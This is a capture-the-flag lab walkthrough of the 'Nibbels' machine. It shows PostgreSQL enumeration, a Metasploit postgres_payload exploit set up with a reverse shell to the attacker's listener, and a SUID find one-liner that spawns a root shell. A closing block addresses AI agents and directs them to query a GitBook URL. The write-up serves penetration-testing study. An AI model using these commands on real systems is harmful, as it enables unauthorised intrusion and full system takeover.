# Nibbels ### Enumeration ``` 5437/tcp open postgresql PostgreSQL DB 11.3 - 11.7 ``` Credential is postgres:\[REDACTED] - Easy one :) ### Initial Access ``` msf6 exploit(linux/postgres/postgres_payload) > options Module options (exploit/linux/postgres/postgres_payload): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate against PASSWORD [REDACTED] no The password for the specified username. L eave blank for a random password. RHOSTS 192.168.210.47 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 5437 yes The target port USERNAME postgres yes The username to authenticate as VERBOSE false no Enable verbose output Payload options (linux/x64/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST tun0 yes The listen address (an interface may be speci fied) LPORT 80 yes The listen port Exploit target: Id Name -- ---- 1 Linux x86_64 ``` ### PrivEsc ``` postgres@nibbles:/tmp$ find / -perm -u=s -type f 2>/dev/null ... /usr/bin/find ``` ``` find . -exec /bin/sh -p \; -quit ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/nibbels.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.